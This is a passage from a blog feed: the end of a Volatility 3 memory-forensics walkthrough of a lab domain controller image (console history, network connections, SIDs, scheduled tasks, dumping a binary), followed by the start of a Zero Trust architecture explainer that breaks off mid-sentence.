0x7ff6f48eb848  120<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ScreenY    0x7ff6f48eb84a  3000<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.CommandHistorySize 0x7ff6f48eb8b8  50<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryBufferCount 0x7ff6f48eb538  4<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryBufferMax   0x7ff6f48eb8bc  4<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.Title      0x7ff6f48ebeb0  Administrator: Windows PowerShell<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.OriginalTitle      0x7ff6f48ebef0  -<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ProcessCount       0x7ff6f48ebd80  1<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList 0x7ff6f48ebd78  -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0        0x2b9886b7300   -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0_ProcessId      0x2b9886b731c   12264<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0_ProcessHandle  0x2b9886b7330   0x118<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ExeAliasList       0x7ff6f48ebd98  -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ExeAliasList.AliasList_0   0x2b9886ad5b0   -<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList        0x7ff6f48eb530  -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0       0x2b98a0ea490   -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0_Application   0x2b98a0ea4c0   cipher.exe<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1       0x2b98a0ea370   -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_Application   0x2b98a0ea3a0   net1.exe<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_2       0x2b98a0ea760   -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_2_Application   0x2b98a0ea790   net.exe<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_3       0x2b98a0ea7f0   -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_3_Application   0x2b98a0ea820   PowerShell.exe<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_3_ProcessHandle 0x2b9886b7330   0x118<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_3_CommandCount  N/A     -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_3_LastDisplayed 0x2b98a0ea84c   -1<br>* 7952  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.CurrentScreenBuffer        0x7ff6f48ebd90  -<br>** 7952 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ScreenBuffer_0     0x2b9886c1f60   -</pre><p>Doing same for the PID `7952`<br>We observed the following:<br>1. ` _CONSOLE_INFORMATION.Title 0x7ff6f48ebeb0 Administrator: Windows PowerShel` Indicates a powershell session running by Admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*27CeeCvPq6vE-isdPyGXUw.png" /></figure><p>The above tools been executed by the admin powershell `cipher.exe, net1.exe and net.exe` <br> ``Cipher.exe` is ==a built-in Windows command-line tool for managing file encryption using the [Encrypting File System](EFS) and, importantly, for securely overwriting (wiping) the free space on a drive to permanently delete previously deleted data, making it unrecoverable by standard methods==`: this can suggest data encryption or ransomeware<br> ``net.exe` and `net1.exe` are ==command-line tools in Windows for managing network resources==, with `net.exe` acting as the front-end that often calls `net1.exe` for actual operations, a legacy design stemming from a Y2K fix for `net.exe`, but `net1.exe`’s direct execution is sometimes used by attackers for stealth, while both files are legitimate system tools for tasks like managing users, shares, and services.`</p><p><strong>5972</strong></p><pre>vol3 -f .\DC-f1664c15.vmem windows.consoles | findstr &#39;5972&#39;<br>WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM file. A VMSS or VMSN file may be required to correctly process a VMEM file. These should be placed in the same directory with the same file name, e.g. DC-f1664c15.vmem and DC-f1664c15.vmss.<br>5972ressconhost.exe     0x7ff6f48eb828an_CONSOLE_INFORMATION    0x7ff6f48eb828  -<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ScreenX    0x7ff6f48eb848  120<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ScreenY    0x7ff6f48eb84a  3000<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.CommandHistorySize 0x7ff6f48eb8b8  50<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryBufferCount 0x7ff6f48eb538  2<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryBufferMax   0x7ff6f48eb8bc  4<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.Title      0x7ff6f48ebeb0  root@scientist: ~<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.OriginalTitle      0x7ff6f48ebef0  -<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ProcessCount       0x7ff6f48ebd80  2<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList 0x7ff6f48ebd78  -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0        0x1b861365610   -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0_ProcessId      0x1b86136562c   6460<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_0_ProcessHandle  0x1b861365640   0x478<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_1        0x1b85e8b67e0   -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_1_ProcessId      0x1b85e8b67fc   8600<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ConsoleProcessList.ConsoleProcess_1_ProcessHandle  0x1b85e8b6810   0x11c<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ExeAliasList       0x7ff6f48ebd98  -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.ExeAliasList.AliasList_0   0x1b85e8ad3b0   -<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList        0x7ff6f48eb530  -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0       0x1b85e8d9bd0   -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0_Application   0x1b85e8d9c00   ssh.exe<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0_ProcessHandle 0x1b861365640   0x478<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0_CommandCount  N/A     -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_0_LastDisplayed 0x1b85e8d9c2c   -1<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1       0x1b85e8d9990   -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_Application   0x1b85e8d99c0   powershell.exe<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_ProcessHandle 0x1b85e8b6810   0x11c<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_CommandCount  N/A     -<br>** 5972 conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.HistoryList.CommandHistory_1_LastDisplayed 0x1b85e8d99ec   -1<br>* 5972  conhost.exe     0x7ff6f48eb828  _CONSOLE_INFORMATION.CurrentScreenBuffer        0x7ff6f48ebd90  -</pre><p>we observed that:<br>1. ` _CONSOLE_INFORMATION.Title 0x7ff6f48ebeb0 root@scientist: ~`: the title showing and ssh session `”root@scientist”` suggesting data exfiltration or for malware downloads.<br>2. History shows `ssh.exe` the process for the ssh session</p><h3>Network Audit</h3><p>Using the plugin `windows.netscan` to get the networking data from the memory</p><pre>C:\Users\fadil\Documents\Lab\Memory forencics&gt;C:\Users\fadil\AppData\Local\Python\pythoncore-3.14-64\Scripts\vol.exe -f .\DC-f1664c15.vmem windows.netscan<br>Volatility 3 Framework 2.27.0<br>WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM file. A VMSS or VMSN file may be required to correctly process a VMEM file. These should be placed in the same directory with the same file name, e.g. DC-f1664c15.vmem and DC-f1664c15.vmss.<br>Progress:  100.00               PDB scanning finished<br>Offset  Proto   LocalAddr       LocalPort       ForeignAddr     ForeignPort     State   PID     Owner   Created<br><br>0xd30ce2a67920  TCPv6   ::1     49728   ::1     389     CLOSED  2564    Microsoft.Acti  2025-12-19 20:56:33.000000 UTC<br>0xd30ce2af8050  TCPv4   0.0.0.0 49932   0.0.0.0 0       LISTENING       2604    dfsrs.exe       2025-12-19 21:00:34.000000 UTC<br>0xd30ce2af8050  TCPv6   ::      49932   ::      0       LISTENING       2604    dfsrs.exe       2025-12-19 21:00:34.000000 UTC<br>0xd30ce2af8830  TCPv4   0.0.0.0 20777   0.0.0.0 0       LISTENING       2872    ITSMService.ex  2025-12-19 20:55:29.000000 UTC<br>0xd30ce2af8980  TCPv4   127.0.0.1       28315   0.0.0.0 0       LISTENING       3908    cmdicap.exe     2025-12-19 20:55:30.000000 UTC<br>0xd30ce2af8ad0  TCPv4   0.0.0.0 3269    0.0.0.0 0       LISTENING       668     lsass.exe       2025-12-19 20:55:34.000000 UTC<br>0xd30ce2af8c20  TCPv4   0.0.0.0 3268    0.0.0.0 0       LISTENING       668     lsass.exe       2025-12-19 20:55:34.000000 UTC<br>0xd30ce2af8c20  TCPv6   ::      3268    ::      0       LISTENING       668     lsass.exe       2025-12-19 20:55:34.000000 UTC<br>0xd30ce2af8ec0  TCPv4   0.0.0.0 9389    0.0.0.0 0       LISTENING       2564    Microsoft.Acti  2025-12-19 20:55:34.000000 UTC<br>0xd30ce2af9010  TCPv4   0.0.0.0 3269    0.0.0.0 0       LISTENING       668     lsass.exe       2025-12-19 20:55:34.000000 UTC<br>---Snipped---</pre><p>The result was much snipped, so I copied it to excel for proper analysis, feel free to use any data analysis tool of your choice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hGsolqOQ7v2GynThuzKfzQ.png" /></figure><p>From excel, I identified some suspicious process making connections as shown above</p><pre>cmdicap.exe: for the commodo client (OpenEDR)<br>chrome.exe: Having a chrome browser on an AD is sus<br>ITSMAgent.exe: for the commodo client (OpenEDR)<br>wazuh-agent.exe: For the Wazuh Monitoring SIEM <br>ssh.exe: ssh making connections to other hosts</pre><p>Filtering on the ssh connection, we have the following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9DFL90fQeUHvn5xEDN-vqg.png" /></figure><pre>1. Source IP: `192.168.181.158`<br>2. Destination IP: `192.168.181.136`<br>3. Destination port: `22`<br>4. Timestamp: `01/02/2026 05:38:28.0 UTC`<br>5. PID: `6460`</pre><p>#### Now answering the question……. who ssh in to scientist……?</p><p>We already have timestamp, IP addresses, and PID<br>We proceed to finding who is associated to that PID using the `windows.getsids` plugin and grepping the `6460` PID</p><pre>PS C:\Users\fadil\Documents\Lab\Memory forencics&gt; vol3 -f .\DC-f1664c15.vmem windows.getsids | findstr 6460<br>WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM file. A VMSS or VMSN file may be required to correctly process a VMEM file. These should be placed in the same directory with the same file name, e.g. DC-f1664c15.vmem and DC-f1664c15.vmss.<br>6460ressssh.exe0S-1-5-21-3778587712-426074035-120390332-500     Administrator<br>6460    ssh.exe S-1-5-21-3778587712-426074035-120390332-513     Domain Users<br>6460    ssh.exe S-1-1-0 Everyone<br>6460    ssh.exe S-1-5-32-544    Administrators<br>6460    ssh.exe S-1-5-32-545    Users<br>6460    ssh.exe S-1-5-32-554    BUILTIN\Pre-Windows 2000 Compatible Access<br>6460    ssh.exe S-1-5-4 Interactive<br>6460    ssh.exe S-1-2-1 Console Logon (Users who are logged onto the physical console)<br>6460    ssh.exe S-1-5-11        Authenticated Users<br>6460    ssh.exe S-1-5-15        This Organization<br>6460    ssh.exe S-1-5-5-0-11437793      Logon Session<br>6460    ssh.exe S-1-2-0 Local (Users with the ability to log in locally)<br>6460    ssh.exe S-1-5-21-3778587712-426074035-120390332-520     Group Policy Creator Owners<br>6460    ssh.exe S-1-5-21-3778587712-426074035-120390332-512     Domain Admins<br>6460    ssh.exe S-1-5-21-3778587712-426074035-120390332-518     Schema Admins<br>6460    ssh.exe S-1-5-21-3778587712-426074035-120390332-519     Enterprise Admins<br>6460    ssh.exe S-1-18-1        Authentication Authority Asserted Identity<br>6460    ssh.exe S-1-5-21-3778587712-426074035-120390332-572     -<br>6460    ssh.exe S-1-16-12288    High Mandatory Level</pre><p>We have our PID to be associated with the user `Administrator`</p><p>We proceed to getting the command used to invoke ssh using `windows.cmdline` plugin</p><pre>PS C:\Users\fadil\Documents\Lab\Memory forencics&gt; vol3 -f .\DC-f1664c15.vmem windows.cmdline | findstr ssh<br>WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM file. A VMSS or VMSN file may be required to correctly process a VMEM file. These should be placed in the same directory with the same file name, e.g. DC-f1664c15.vmem and DC-f1664c15.vmss.<br>6460ressssh.exe0&quot;C:\Windows\System32\OpenSSH\ssh.exe&quot; science@192.168.181.136<br>PS C:\Users\fadil\Documents\Lab\Memory forencics&gt;</pre><h3>Checking Scheduled tasks</h3><p>This can be done using the `windows.scheduled_tasks` plugin</p><pre>PS C:\Users\fadil\Documents\Lab\Memory forencics&gt; vol3 -f .\DC-f1664c15.vmem windows.cmdline | findstr ssh<br>WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM file. A VMSS or VMSN file may be required to correctly process a VMEM file. These should be placed in the same directory with the same file name, e.g. DC-f1664c15.vmem and DC-f1664c15.vmss.<br>6460ressssh.exe0&quot;C:\Windows\System32\OpenSSH\ssh.exe&quot; science@192.168.181.136<br>PS C:\Users\fadil\Documents\Lab\Memory forencics&gt; vol3 -f .\DC-f1664c15.vmem windows.scheduled_tasks<br><br>C:\Users\fadil\Documents\Lab\Memory forencics&gt;C:\Users\fadil\AppData\Local\Python\pythoncore-3.14-64\Scripts\vol.exe -f .\DC-f1664c15.vmem windows.scheduled_tasks<br>Volatility 3 Framework 2.27.0<br>WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM file. A VMSS or VMSN file may be required to correctly process a VMEM file. These should be placed in the same directory with the same file name, e.g. DC-f1664c15.vmem and DC-f1664c15.vmss.<br>C:\Users\fadil\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages\volatility3\framework\deprecation.py:28: FutureWarning: This API (volatility3.plugins.windows.registry.scheduled_tasks.ScheduledTasks.run) will be removed in the first release after 2026-09-25. This plugin has been renamed, please call volatility3.plugins.windows.registry.scheduled_tasks.ScheduledTasks rather than volatility3.plugins.windows.scheduled_tasks.ScheduledTasks.<br>  warnings.warn(<br><br>Task Name       Principal ID    Display Name    Enabled Creation Time   Last Run Time   Last Successful Run Time        Trigger Type    Trigger Description     Action Type     Action  Action Arguments        Action Context   Working Directory       Key Name<br>C:\Users\fadil\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages\volatility3\framework\deprecation.py:105: FutureWarning: This plugin (volatility3.plugins.windows.scheduled_tasks.ScheduledTasks) has been renamed and will be removed in the first release after 2026-09-25. Please ensure all method calls to this plugin are replaced with calls to volatility3.plugins.windows.registry.scheduled_tasks.ScheduledTasks<br>  warnings.warn(<br><br>BfeOnServiceStartTypeChange     LocalSystem     -       True    -       -       -       Event   Event trigger: Subscription: &lt;QueryList&gt;&lt;Query Id=&quot;0&quot; Path=&quot;System&quot;&gt;&lt;Select Path=&quot;System&quot;&gt;*/System/Provider[@Name=&#39;Service Control Manager&#39;] and */System/EventID=&#39;7040&#39; and */EventData/Data[@Name=&#39;param4&#39;]=&#39;BFE&#39;&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;, Queries: []    Exe     %windir%\system32\rundll32.exe  bfe.dll,BfeOnServiceStartTypeChange      LocalSystem     -       {0521D83E-4078-4597-8C6F-58A9C47FD2F1}<br>CacheTask       AnyUser -       True    2025-12-20 06:43:25.000000 UTC  2025-12-14 04:41:52.000000 UTC  2025-12-14 14:06:38.000000 UTC  Logon   Logon trigger   ComHandler      {358b920-ac7-461f-98f4-58e32cd89148}     -       AnyUser N/A     {06391582-46F8-4300-8F15-822780AABFEC}<br>RegIdleBackup   LocalSystem     -       -       2026-01-29 09:36:07.000000 UTC  2025-12-14 04:41:52.000000 UTC  2026-01-29 09:37:46.000000 UTC  -       -       ComHandler      {ca767aa8-9157-4604-b64b-40747123d5f2}   -       LocalSystem     N/A     {06538018-D07E-45DB-A277-0BDBB067FAF3}<br>User_Feed_Synchronization-{4F792D8E-2A5C-4BA7-8032-6063F86F9A1F}        Author  -       True    2026-02-01 05:26:03.000000 UTC  2025-12-13 20:46:31.000000 UTC  2026-02-01 05:26:14.000000 UTC  Time    -       Exe      C:\Windows\system32\msfeedssync.exe     sync    Author  -       {0F1762F1-BEAC-4B09-A122-88C27053C668}<br>Proxy   LocalSystem     -       True    -       -       -       Boot    Boot trigger    Exe     %windir%\system32\rundll32.exe  /d acproxy.dll,PerformAutochkOperations LocalSystem     -       {13D743E2-A81A-4329-A305-E89FB6910940}<br>---Snipped---</pre><p>As expected the result was much, find a suitable editor to analyze your output.<br>Filtering on `Enabled: True` and `Trigger type: Logon or Boot` which matches the behavior of a malware, nothing suspicious came, but we were able to identify the `Commodo EDR` running :XD</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lXNawNA0PV1H-YZzMz2Msw.png" /></figure><p>### These are the available plugins you can pick from that suits your investigation</p><pre>(choose from banners.Banners, configwriter.ConfigWriter, frameworkinfo.FrameworkInfo, isfinfo.IsfInfo, layerwriter.LayerWriter, linux.bash.Bash, linux.boottime.Boottime, linux.capabilities.Capabilities, linux.check_afinfo.Check_afinfo, linux.check_creds.Check_creds, linux.check_idt.Check_idt, linux.check_modules.Check_modules, linux.check_syscall.Check_syscall, linux.ebpf.EBPF, linux.elfs.Elfs, linux.envars.Envars, linux.graphics.fbdev.Fbdev, linux.hidden_modules.Hidden_modules, linux.iomem.IOMem, linux.ip.Addr, linux.ip.Link, linux.kallsyms.Kallsyms, linux.keyboard_notifiers.Keyboard_notifiers, linux.kmsg.Kmsg, linux.kthreads.Kthreads, linux.library_list.LibraryList, linux.lsmod.Lsmod, linux.lsof.Lsof, linux.malfind.Malfind, linux.malware.check_afinfo.Check_afinfo, linux.malware.check_creds.Check_creds, linux.malware.check_idt.Check_idt, linux.malware.check_modules.Check_modules, linux.malware.check_syscall.Check_syscall, linux.malware.hidden_modules.Hidden_modules, linux.malware.keyboard_notifiers.Keyboard_notifiers, linux.malware.malfind.Malfind, linux.malware.modxview.Modxview, linux.malware.netfilter.Netfilter, linux.malware.tty_check.Tty_Check, linux.module_extract.ModuleExtract, linux.modxview.Modxview, linux.mountinfo.MountInfo, linux.netfilter.Netfilter, linux.pagecache.Files, linux.pagecache.InodePages, linux.pagecache.RecoverFs, linux.pidhashtable.PIDHashTable, linux.proc.Maps, linux.psaux.PsAux, linux.pscallstack.PsCallStack, linux.pslist.PsList, linux.psscan.PsScan, linux.pstree.PsTree, linux.ptrace.Ptrace, linux.sockstat.Sockstat, linux.tracing.ftrace.CheckFtrace, linux.tracing.perf_events.PerfEvents, linux.tracing.tracepoints.CheckTracepoints, linux.tty_check.tty_check, linux.vmaregexscan.VmaRegExScan, linux.vmcoreinfo.VMCoreInfo, mac.bash.Bash, mac.check_syscall.Check_syscall, mac.check_sysctl.Check_sysctl, mac.check_trap_table.Check_trap_table, mac.dmesg.Dmesg, mac.ifconfig.Ifconfig, mac.kauth_listeners.Kauth_listeners, mac.kauth_scopes.Kauth_scopes, mac.kevents.Kevents, mac.list_files.List_Files, mac.lsmod.Lsmod, mac.lsof.Lsof, mac.malfind.Malfind, mac.mount.Mount, mac.netstat.Netstat, mac.proc_maps.Maps, mac.psaux.Psaux, mac.pslist.PsList, mac.pstree.PsTree, mac.socket_filters.Socket_filters, mac.timers.Timers, mac.trustedbsd.Trustedbsd, mac.vfsevents.VFSevents, regexscan.RegExScan, timeliner.Timeliner, vmscan.Vmscan, windows.amcache.Amcache, windows.bigpools.BigPools, windows.callbacks.Callbacks, windows.cmdline.CmdLine, windows.cmdscan.CmdScan, windows.consoles.Consoles, windows.crashinfo.Crashinfo, windows.debugregisters.DebugRegisters, windows.deskscan.DeskScan, windows.desktops.Desktops, windows.devicetree.DeviceTree, windows.dlllist.DllList, windows.driverirp.DriverIrp, windows.drivermodule.DriverModule, windows.driverscan.DriverScan, windows.dumpfiles.DumpFiles, windows.envars.Envars, windows.etwpatch.EtwPatch, windows.filescan.FileScan, windows.getservicesids.GetServiceSIDs, windows.getsids.GetSIDs, windows.handles.Handles, windows.hollowprocesses.HollowProcesses, windows.iat.IAT, windows.info.Info, windows.joblinks.JobLinks, windows.kpcrs.KPCRs, windows.ldrmodules.LdrModules, windows.malfind.Malfind, windows.malware.drivermodule.DriverModule, windows.malware.hollowprocesses.HollowProcesses, windows.malware.ldrmodules.LdrModules, windows.malware.malfind.Malfind, windows.malware.pebmasquerade.PebMasquerade, windows.malware.processghosting.ProcessGhosting, windows.malware.psxview.PsXView, windows.malware.skeleton_key_check.Skeleton_Key_Check, windows.malware.suspicious_threads.SuspiciousThreads, windows.malware.svcdiff.SvcDiff, windows.malware.unhooked_system_calls.UnhookedSystemCalls, windows.mbrscan.MBRScan, windows.memmap.Memmap, windows.modscan.ModScan, windows.modules.Modules, windows.mutantscan.MutantScan, windows.netscan.NetScan, windows.netstat.NetStat, windows.orphan_kernel_threads.Threads, windows.pe_symbols.PESymbols, windows.pedump.PEDump, windows.poolscanner.PoolScanner, windows.privileges.Privs, windows.processghosting.ProcessGhosting, windows.pslist.PsList, windows.psscan.PsScan, windows.pstree.PsTree, windows.psxview.PsXView, windows.registry.amcache.Amcache, windows.registry.certificates.Certificates, windows.registry.getcellroutine.GetCellRoutine, windows.registry.hivelist.HiveList, windows.registry.hivescan.HiveScan, windows.registry.printkey.PrintKey, windows.registry.scheduled_tasks.ScheduledTasks, windows.registry.userassist.UserAssist, windows.scheduled_tasks.ScheduledTasks, windows.sessions.Sessions, windows.shimcachemem.ShimcacheMem, windows.skeleton_key_check.Skeleton_Key_Check, windows.ssdt.SSDT, windows.statistics.Statistics, windows.strings.Strings, windows.suspended_threads.SuspendedThreads, windows.suspicious_threads.SuspiciousThreads, windows.svcdiff.SvcDiff, windows.svclist.SvcList, windows.svcscan.SvcScan, windows.symlinkscan.SymlinkScan, windows.thrdscan.ThrdScan, windows.threads.Threads, windows.timers.Timers, windows.truecrypt.Passphrase, windows.unhooked_system_calls.unhooked_system_calls, windows.unloadedmodules.UnloadedModules, windows.vadinfo.VadInfo, windows.vadregexscan.VadRegExScan, windows.vadwalk.VadWalk, windows.verinfo.VerInfo, windows.virtmap.VirtMap, windows.windows.Windows, windows.windowstations.WindowStations)</pre><p><strong>Dumping Binaries from memories</strong></p><pre>To dump a binary from the memory, you <br> 1. Get the full command and file path by grepping it name<br> 2. Get the process base address </pre><pre>PS C:\Users\fadil\Documents\Memory_Dump&gt; vol.exe -f .\memdump.raw windows.dlllist --pid 4940<br>Volatility 3 Framework 2.27.0<br>Progress:  100.00               PDB scanning finished<br>PID     Process Base    Size    Name    Path    LoadCount       LoadTime        File output<br><br>4940    WinService.exe  0x400000        0x68000 WinService.exe  C:\Program Files (x86)\svnclient\WinService.exe -1      2026-02-01 05:19:34.000000 UTC  Disabled<br>4940    WinService.exe  0x7ffee8100000  0x268000        -       -       -1      2026-02-01 05:19:34.000000 UTC  Disabled<br>4940    WinService.exe  0x7ffee61c0000  0x55000 -       -       -1      2026-02-01 05:19:34.000000 UTC  Disabled<br>4940    WinService.exe  0x7ffee77e0000  0xb000  wow64base.dll   C:\WINDOWS\System32\wow64base.dll       6       2026-02-01 05:19:34.000000 UTC  Disabled<br>4940    WinService.exe  0x7ffee60000</pre><p>3. Then using the PID ad the base address you dump</p><pre>PS C:\Users\fadil\Documents\Memory_Dump&gt; vol.exe -f .\memdump.raw windows.pedump --pid 4940 --base 0x400000<br>Volatility 3 Framework 2.27.0<br>Progress:  100.00               PDB scanning finished<br>PID     Process File output<br><br>4940    WinService.exe  PE.0x9b08ef83b0c0.4940.0x400000.dmp<br>PS C:\Users\fadil\Documents\Memory_Dump&gt;</pre><p>Here’s the image download link<br>Feel free to uncover and discover :X)</p><pre>https://drive.google.com/file/d/1TPVU_fRsu0mg_d-Pi6OVbb95UDig0neP/view?usp=sharing</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a696eef283c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zero Trust Architecture: A Strategy for Modern Risk Reduction]]></title>
            <link>https://medium.com/@fadilulahajeigbe01/zero-trust-architecture-a-strategy-for-modern-risk-reduction-91c30924cf60?source=rss-f48115f5e044------2</link>
            <guid isPermaLink="false">https://medium.com/p/91c30924cf60</guid>
            <dc:creator><![CDATA[Fadilulah Ajeigbe]]></dc:creator>
            <pubDate>Sat, 15 Nov 2025 00:55:01 GMT</pubDate>
            <atom:updated>2025-11-15T00:55:01.004Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IKrctMzf_6wIKCvwC76lqA.jpeg" /><figcaption>THE ZERO TRUST ARCHITECTURE</figcaption></figure><h3>The Problem: Why the Old “Castle and Moat” Security Model Fails</h3><p>For decades, our security strategy has been the “Castle and Moat” model: everything outside the network (the internet) is untrusted (normal as it should be), and everything <em>inside</em> (the office network, the VPN) is automatically trusted, but why??</p><p>From experience this makes VAPT easier, core infrastructures running on http, no SSL implemented, outdated softwares, improper or no logging of activities and the list goes on.</p><p><strong>The Reality:</strong> Modern business no longer operates from a single castle. Your employees work from home, jumps on any available WiFi network, and use cloud applications like Google Workspace or Microsoft 365. When a single employee’s laptop gets compromised, an attacker can now easily jump across the entire <em>trusted</em> internal network. The moat is useless once the castle gate is opened.</p><h3>What is Zero Trust?</h3><p>Zero Trust is a modern security framework built on one fundamental principle: <strong>“Never trust, always verify.”</strong></p><p>In a Zero Trust model, trust is <em>never</em> implicit. Every user, every device, and every application trying to access a resource must be verified, regardless of whether they are sitting in the head office or connecting from a remote location at all times.</p><h3>Analogy: The Secure Vault System</h3><p>Instead of one castle (the network), think of Zero Trust as treating every sensitive data resource like an individual vault.</p><ul><li><strong>Old Model:</strong> Get past the front gate (the VPN), and you have access to the whole building.</li><li><strong>Zero Trust:</strong> Even if you’re already inside the lobby, you must show valid ID, fingerprint, and a security code for <strong>every single door</strong> you try to open, think of it like wearing your ID Card or Tag around the building.</li></ul><h3>The Three Core Principles and Business Value</h3><p>Zero Trust is implemented through three interconnected strategic pillars, all focused on reducing the blast radius of a successful attack.</p><h3>1. Verification of Identity and Device Health (Who and What)</h3><p><strong>Identity is the New Perimeter: </strong>Before access is granted, the system verifies the user’s identity (strong MFA), and checks the device’s security posture, is the device domain joined, does the laptop have the latest antivirus and security patches?.</p><p><strong>Business Value (Risk Reduction): </strong>Prevents Credential Theft<strong>,</strong> If an attacker steals a user’s password, the lack of the correct MFA, no access to secure or domain-joined device will still deny them access. Stops the most common attack vector: <em>compromised login details.</em></p><h3>2. Least Privilege Access (What You Can Do)</h3><p><strong>Limit Access to What is Needed: </strong>Users are only given access to the specific applications or files required to perform their job, and nothing more. This is implemented via <strong>micro-segmentation</strong>, dividing the network into tiny, isolated zones.</p><p><strong>Business Value (Operational Efficiency) </strong>Reduces the Blast Radius, If an employee’s account <em>is</em> compromised, the attacker can only access a small sliver of the corporate data, preventing them from spreading laterally and accessing critical financial or customer data.</p><h3>3. Comprehensive Monitoring (What is Happening)</h3><p><strong>Monitor All Activity: </strong>All user activity, connection attempts, and data access requests are logged and continuously reviewed for anomalies detection (e.g., an accountant accessing 